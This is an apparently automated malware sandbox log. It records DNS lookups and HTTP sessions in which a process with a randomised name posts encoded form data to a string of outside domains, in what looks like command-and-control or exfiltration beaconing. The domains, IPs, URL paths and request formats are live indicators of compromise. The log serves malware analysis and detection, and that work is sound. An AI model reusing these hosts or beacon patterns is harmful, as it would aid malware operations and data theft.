Jan 14, 2025 10:26:34.720577002 CET	192.168.2.4	1.1.1.1	0xba25	Standard query (0)	www.quickcommerce.cloud	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:26:48.781383991 CET	192.168.2.4	1.1.1.1	0x893e	Standard query (0)	www.cybermisha.store	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:26:56.844208956 CET	192.168.2.4	1.1.1.1	0x4cd9	Standard query (0)	www.xpremio.online	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 14, 2025 10:24:28.133649111 CET	1.1.1.1	192.168.2.4	0x9514	No error (0)	www.thesquare.world		13.248.169.48	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:24:28.133649111 CET	1.1.1.1	192.168.2.4	0x9514	No error (0)	www.thesquare.world		76.223.54.146	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:24:35.039347887 CET	1.1.1.1	192.168.2.4	0xd10e	Name error (3)	15.164.165.52.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jan 14, 2025 10:24:44.307868004 CET	1.1.1.1	192.168.2.4	0xfb0a	Server failure (2)	www.revolutionmusic.net	none	none	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:24:52.906167030 CET	1.1.1.1	192.168.2.4	0x9a30	No error (0)	www.wddb97.top	wddb97.top		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 10:24:52.906167030 CET	1.1.1.1	192.168.2.4	0x9a30	No error (0)	wddb97.top		206.119.82.172	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:25:06.466124058 CET	1.1.1.1	192.168.2.4	0x696c	No error (0)	www.nexula.website		67.223.117.142	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:25:19.781243086 CET	1.1.1.1	192.168.2.4	0xb682	No error (0)	www.prediksipreman.fyi	prediksipreman.fyi		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 10:25:19.781243086 CET	1.1.1.1	192.168.2.4	0xb682	No error (0)	prediksipreman.fyi		162.0.215.244	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:25:33.287178040 CET	1.1.1.1	192.168.2.4	0x4b17	No error (0)	www.scottconsults.top	scottconsults.top		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 10:25:33.287178040 CET	1.1.1.1	192.168.2.4	0x4b17	No error (0)	scottconsults.top		3.33.130.190	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:25:33.287178040 CET	1.1.1.1	192.168.2.4	0x4b17	No error (0)	scottconsults.top		15.197.148.33	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:25:46.432100058 CET	1.1.1.1	192.168.2.4	0xc871	Name error (3)	www.xtelify.tech	none	none	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:25:54.857702971 CET	1.1.1.1	192.168.2.4	0x657	No error (0)	www.2q33e.top	2q33e.top		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 10:25:54.857702971 CET	1.1.1.1	192.168.2.4	0x657	No error (0)	2q33e.top		38.47.233.52	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:26:08.435400963 CET	1.1.1.1	192.168.2.4	0xa97	No error (0)	www.7wkto5nk230724z.click		104.21.3.193	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:26:08.435400963 CET	1.1.1.1	192.168.2.4	0xa97	No error (0)	www.7wkto5nk230724z.click		172.67.131.32	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:26:21.591988087 CET	1.1.1.1	192.168.2.4	0x3549	No error (0)	www.livingslab.net	livingslab.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 10:26:21.591988087 CET	1.1.1.1	192.168.2.4	0x3549	No error (0)	livingslab.net		3.33.130.190	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:26:21.591988087 CET	1.1.1.1	192.168.2.4	0x3549	No error (0)	livingslab.net		15.197.148.33	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:26:34.735532999 CET	1.1.1.1	192.168.2.4	0xba25	No error (0)	www.quickcommerce.cloud	quickcommerce.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 10:26:34.735532999 CET	1.1.1.1	192.168.2.4	0xba25	No error (0)	quickcommerce.cloud		20.244.96.65	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:26:48.789961100 CET	1.1.1.1	192.168.2.4	0x893e	Name error (3)	www.cybermisha.store	none	none	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:26:56.891012907 CET	1.1.1.1	192.168.2.4	0x4cd9	No error (0)	www.xpremio.online	xpremio.online		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 10:26:56.891012907 CET	1.1.1.1	192.168.2.4	0x4cd9	No error (0)	xpremio.online		84.32.84.32	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.thesquare.world

www.wddb97.top

www.nexula.website

www.prediksipreman.fyi

www.scottconsults.top

www.2q33e.top

www.7wkto5nk230724z.click

www.livingslab.net

www.quickcommerce.cloud

www.xpremio.online

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49223	13.248.169.48	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:24:28.150047064 CET	442	OUT	GET /4qxi/?OvV=2njD6f80EDOLQ8&wz4=2e2Lyydb5YXufeuqFd6wHPkWuEpHgF+t8X6R7x/Chu/ldxqUFwOFXImYee7E7KlqqCMuAjd7uJeZN9yFXwONOjr0nxS6++UxPbCo/R3/4PV751NgF4k6l5M= HTTP/1.1 Host: www.thesquare.world Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko
Jan 14, 2025 10:24:28.619780064 CET	379	IN	HTTP/1.1 200 OK content-type: text/html date: Tue, 14 Jan 2025 09:24:28 GMT content-length: 258 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 4f 76 56 3d 32 6e 6a 44 36 66 38 30 45 44 4f 4c 51 38 26 77 7a 34 3d 32 65 32 4c 79 79 64 62 35 59 58 75 66 65 75 71 46 64 36 77 48 50 6b 57 75 45 70 48 67 46 2b 74 38 58 36 52 37 78 2f 43 68 75 2f 6c 64 78 71 55 46 77 4f 46 58 49 6d 59 65 65 37 45 37 4b 6c 71 71 43 4d 75 41 6a 64 37 75 4a 65 5a 4e 39 79 46 58 77 4f 4e 4f 6a 72 30 6e 78 53 36 2b 2b 55 78 50 62 43 6f 2f 52 33 2f 34 50 56 37 35 31 4e 67 46 34 6b 36 6c 35 4d 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?OvV=2njD6f80EDOLQ8&wz4=2e2Lyydb5YXufeuqFd6wHPkWuEpHgF+t8X6R7x/Chu/ldxqUFwOFXImYee7E7KlqqCMuAjd7uJeZN9yFXwONOjr0nxS6++UxPbCo/R3/4PV751NgF4k6l5M="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	57319	206.119.82.172	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:24:52.923654079 CET	694	OUT	POST /p75v/ HTTP/1.1 Host: www.wddb97.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.wddb97.top Referer: http://www.wddb97.top/p75v/ Cache-Control: no-cache Connection: close Content-Length: 200 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko Data Raw: 77 7a 34 3d 4c 4a 4f 50 6d 69 4b 66 54 65 49 42 4d 75 74 42 7a 76 7a 46 72 68 49 79 71 51 77 62 52 4f 74 6a 6b 7a 54 52 76 2b 50 44 34 49 43 4c 57 31 6e 35 4b 4c 78 48 37 68 34 66 31 56 64 51 52 62 62 2b 78 65 32 53 74 58 64 38 64 68 61 41 77 46 6f 56 2f 32 7a 6d 54 46 52 6f 48 38 61 58 6b 6b 65 37 4d 33 34 37 69 71 35 63 72 72 2b 54 31 58 79 44 6d 53 6d 79 64 73 35 58 66 41 70 79 6d 4b 4b 70 62 71 30 30 79 77 6b 49 73 6d 4a 48 45 6e 70 77 59 71 61 75 76 47 73 4c 50 52 31 74 59 71 73 37 66 4e 75 6d 41 61 35 74 50 39 79 2f 78 4c 6e 39 73 78 61 37 62 70 72 32 67 50 38 6e 2b 47 53 6c 46 67 3d 3d Data Ascii: wz4=LJOPmiKfTeIBMutBzvzFrhIyqQwbROtjkzTRv+PD4ICLW1n5KLxH7h4f1VdQRbb+xe2StXd8dhaAwFoV/2zmTFRoH8aXkke7M347iq5crr+T1XyDmSmyds5XfApymKKpbq00ywkIsmJHEnpwYqauvGsLPR1tYqs7fNumAa5tP9y/xLn9sxa7bpr2gP8n+GSlFg==
Jan 14, 2025 10:24:53.838659048 CET	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 14 Jan 2025 09:24:53 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "66aa3a46-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	57320	206.119.82.172	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:24:55.466136932 CET	714	OUT	POST /p75v/ HTTP/1.1 Host: www.wddb97.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.wddb97.top Referer: http://www.wddb97.top/p75v/ Cache-Control: no-cache Connection: close Content-Length: 220 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko Data Raw: 77 7a 34 3d 4c 4a 4f 50 6d 69 4b 66 54 65 49 42 65 66 39 42 2f 74 62 46 73 42 49 78 6c 77 77 62 66 75 74 76 6b 7a 66 52 76 37 33 54 37 37 6d 4c 57 56 33 35 62 36 78 48 2b 68 34 66 2b 31 64 66 56 62 62 70 78 65 79 61 74 57 68 38 64 68 6d 41 77 46 34 56 2f 46 62 68 53 56 52 75 53 4d 62 78 67 6b 65 37 4d 33 34 37 69 71 74 32 72 72 6d 54 31 6d 43 44 38 7a 6d 39 65 73 35 55 49 77 70 79 33 61 4b 74 62 71 30 4b 79 79 41 69 73 6b 42 48 45 69 56 77 64 6f 2b 76 6c 47 74 41 52 68 30 35 4a 6f 4a 4d 5a 35 32 76 48 62 70 57 46 64 2b 59 30 4e 71 6e 39 41 37 73 4a 70 50 46 39 49 31 54 7a 46 76 73 65 73 4c 63 35 63 59 64 6a 73 54 4d 63 4c 36 34 70 68 6d 62 6b 57 41 3d Data Ascii: wz4=LJOPmiKfTeIBef9B/tbFsBIxlwwbfutvkzfRv73T77mLWV35b6xH+h4f+1dfVbbpxeyatWh8dhmAwF4V/FbhSVRuSMbxgke7M347iqt2rrmT1mCD8zm9es5UIwpy3aKtbq0KyyAiskBHEiVwdo+vlGtARh05JoJMZ52vHbpWFd+Y0Nqn9A7sJpPF9I1TzFvsesLc5cYdjsTMcL64phmbkWA=
Jan 14, 2025 10:24:56.386970043 CET	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 14 Jan 2025 09:24:56 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "66aa3a46-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	57327	206.119.82.172	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:24:58.014214039 CET	10796	OUT	POST /p75v/ HTTP/1.1 Host: www.wddb97.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.wddb97.top Referer: http://www.wddb97.top/p75v/ Cache-Control: no-cache Connection: close Content-Length: 10300 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko Data Raw: 77 7a 34 3d 4c 4a 4f 50 6d 69 4b 66 54 65 49 42 65 66 39 42 2f 74 62 46 73 42 49 78 6c 77 77 62 66 75 74 76 6b 7a 66 52 76 37 33 54 37 37 75 4c 57 6e 50 35 4a 70 5a 48 35 68 34 66 39 31 63 34 56 62 61 72 78 61 57 65 74 57 74 73 64 6b 71 41 79 6d 67 56 76 30 62 68 63 56 52 75 4e 63 62 6c 6b 6b 65 55 4d 33 6f 2f 69 70 56 32 72 72 6d 54 31 6c 61 44 71 79 6d 39 53 4d 35 58 66 41 70 32 6d 4b 4b 56 62 71 73 61 79 79 45 59 76 51 31 48 4b 6a 6c 77 66 37 61 76 74 47 74 43 51 68 30 78 4a 6f 31 54 5a 34 66 57 48 62 64 38 46 66 69 59 35 4d 66 72 69 78 6a 45 56 62 4f 66 68 36 6f 31 34 48 6e 5a 54 4d 2f 36 38 73 49 55 39 4e 6e 75 51 71 6e 2f 7a 30 6d 5a 31 52 38 6f 72 6e 6d 72 4f 74 35 4d 77 46 6c 71 4a 41 63 59 6b 71 64 37 41 42 52 77 68 71 32 75 71 63 33 38 77 38 6d 6b 34 67 53 33 45 4a 74 4c 49 4c 56 4f 38 6f 51 35 78 44 50 63 6d 66 65 58 77 46 2b 30 36 6b 49 2b 53 6c 62 55 46 37 70 35 76 48 68 45 64 67 30 64 5a 59 56 37 6e 6a 67 65 30 63 77 2f 2b 31 73 43 35 75 50 58 37 2b 49 47 76 57 70 49 66 47 4c 4e 47 64 [TRUNCATED] Data Ascii: wz4=LJOPmiKfTeIBef9B/tbFsBIxlwwbfutvkzfRv73T77uLWnP5JpZH5h4f91c4VbarxaWetWtsdkqAymgVv0bhcVRuNcblkkeUM3o/ipV2rrmT1laDqym9SM5XfAp2mKKVbqsayyEYvQ1HKjlwf7avtGtCQh0xJo1TZ4fWHbd8FfiY5MfrixjEVbOfh6o14HnZTM/68sIU9NnuQqn/z0mZ1R8ornmrOt5MwFlqJAcYkqd7ABRwhq2uqc38w8mk4gS3EJtLILVO8oQ5xDPcmfeXwF+06kI+SlbUF7p5vHhEdg0dZYV7njge0cw/+1sC5uPX7+IGvWpIfGLNGdGB7SIh1LX3G+qFG+IXwra4fSMjfxTehPj6TXd41i99Kgod2oi2vmop79f+9MTy5K9XdFP+ncUzMoad31G6/z44Y9l3BuUu25d32SIv0GDlGoWmmC0GaSijGRdfs+qsC1jR9skjgqP7KT0vj6waSinv2MPs10gdjNeZuvBfuj9MoPQmasqFU+rVM67aYadFbOYPyr0+fIKqRFgmhbaH9FouLbQEu8hRY8yHZToQ/C8ER12AURTswWpeoDz7CSqccqbfoqD83PxtKx/+s0g6GWZQQqW7+emoaFQfvLfCAvbVkWr0Y1rZ0YyA4Qxk9oRGQOJUg883hDEDB/oL9lyfK9ajhn207kdxdRZ9wHVclubxAn3ShPftXul6vj4zIe1JEYw6d70cgaTAZHEh7WVMx8T89MgJPuc/PQvn54zoz54iClFiKoDGJDf8WDe/0xKCvZ8T4Phs2YfwgF5urL8NMG0q8o/WbQxua6+Dfh5GMVpujB2DkjxKHa7hPIfBpNz4GUoKjjoq9kj9lAx7y4hUm61KZKvF94ttUA9Pw6AI16Hh6pltM4xH4uZY+ByrdWTCnl7qgHJRFIihFRTs+NYqGSzZFfRmWf9PrzKoeRMnhEnY9qSxg4oSIyG7VC+413GysAqBoXkac5v/155Rzg1X60gza6q34j9HEuHJ [TRUNCATED]
Jan 14, 2025 10:24:58.923877954 CET	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 14 Jan 2025 09:24:58 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "66aa3a46-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	57343	206.119.82.172	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:25:00.558845043 CET	437	OUT	GET /p75v/?OvV=2njD6f80EDOLQ8&wz4=GLmvlUrKOeNEevY3wcyfjSkNrwRDbMR2/x32zMvR34mmT0X9ObY05SVA9W4yUMrr2Yq11ERvKU6w2wYb4X7EbFt4LfTn3Wu5NGMirqATx7GUx0yxlSOAJso= HTTP/1.1 Host: www.wddb97.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko
Jan 14, 2025 10:25:01.443435907 CET	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 14 Jan 2025 09:25:01 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "66aa3a46-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	57374	67.223.117.142	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:25:06.500929117 CET	706	OUT	POST /ro4w/ HTTP/1.1 Host: www.nexula.website Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.nexula.website Referer: http://www.nexula.website/ro4w/ Cache-Control: no-cache Connection: close Content-Length: 200 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko Data Raw: 77 7a 34 3d 52 35 7a 4d 34 72 59 4d 47 66 36 51 66 66 47 47 31 48 43 6a 53 2f 55 62 72 30 46 44 6c 39 65 30 59 38 37 7a 4b 70 4e 68 45 46 71 55 70 59 44 38 71 48 48 4c 4d 6c 36 32 44 39 45 33 44 6c 67 71 64 75 57 7a 39 48 4e 55 68 76 66 69 38 79 70 56 33 32 52 77 64 38 79 6a 51 5a 39 62 4a 4c 67 62 43 73 50 48 43 43 74 37 74 31 31 79 71 55 6c 61 55 6e 66 62 55 64 33 5a 4d 45 73 34 67 56 68 31 69 46 51 30 6a 4a 69 38 4d 78 51 6c 35 2f 4b 44 6d 45 50 4e 42 6e 62 6d 71 35 52 4f 37 2b 4c 4f 49 6e 33 43 74 6e 7a 54 45 38 6e 5a 68 77 2f 4e 65 4c 73 77 6d 66 71 73 35 66 4c 54 4e 78 66 6a 4c 67 3d 3d Data Ascii: wz4=R5zM4rYMGf6QffGG1HCjS/Ubr0FDl9e0Y87zKpNhEFqUpYD8qHHLMl62D9E3DlgqduWz9HNUhvfi8ypV32Rwd8yjQZ9bJLgbCsPHCCt7t11yqUlaUnfbUd3ZMEs4gVh1iFQ0jJi8MxQl5/KDmEPNBnbmq5RO7+LOIn3CtnzTE8nZhw/NeLswmfqs5fLTNxfjLg==
Jan 14, 2025 10:25:07.096520901 CET	533	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 09:25:07 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	57395	67.223.117.142	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:25:09.049071074 CET	726	OUT	POST /ro4w/ HTTP/1.1 Host: www.nexula.website Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.nexula.website Referer: http://www.nexula.website/ro4w/ Cache-Control: no-cache Connection: close Content-Length: 220 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko Data Raw: 77 7a 34 3d 52 35 7a 4d 34 72 59 4d 47 66 36 51 63 2b 32 47 35 41 32 6a 56 66 55 59 79 55 46 44 75 64 65 6f 59 38 6e 7a 4b 6f 4a 78 45 7a 79 55 70 36 72 38 72 46 76 4c 42 46 36 32 4c 64 45 75 4f 46 67 68 64 75 62 47 39 43 31 55 68 72 33 69 38 79 5a 56 33 41 5a 7a 63 73 79 68 63 35 39 64 4e 4c 67 62 43 73 50 48 43 43 35 46 74 31 74 79 72 6b 56 61 4f 47 66 63 64 39 33 59 63 30 73 34 71 46 67 79 69 46 51 47 6a 49 2b 61 4d 33 63 6c 35 36 32 44 6d 56 50 4b 62 33 62 67 6e 5a 51 73 38 4d 43 51 4d 47 43 2f 6b 58 72 48 4d 73 2b 31 74 57 79 58 50 36 4e 6e 30 66 4f 66 6b 59 43 6e 41 79 69 71 51 69 6d 4e 44 47 5a 46 44 6c 48 35 42 43 59 4f 58 39 36 54 56 4b 6f 3d Data Ascii: wz4=R5zM4rYMGf6Qc+2G5A2jVfUYyUFDudeoY8nzKoJxEzyUp6r8rFvLBF62LdEuOFghdubG9C1Uhr3i8yZV3AZzcsyhc59dNLgbCsPHCC5Ft1tyrkVaOGfcd93Yc0s4qFgyiFQGjI+aM3cl562DmVPKb3bgnZQs8MCQMGC/kXrHMs+1tWyXP6Nn0fOfkYCnAyiqQimNDGZFDlH5BCYOX96TVKo=
Jan 14, 2025 10:25:09.624825954 CET	533	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 09:25:09 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 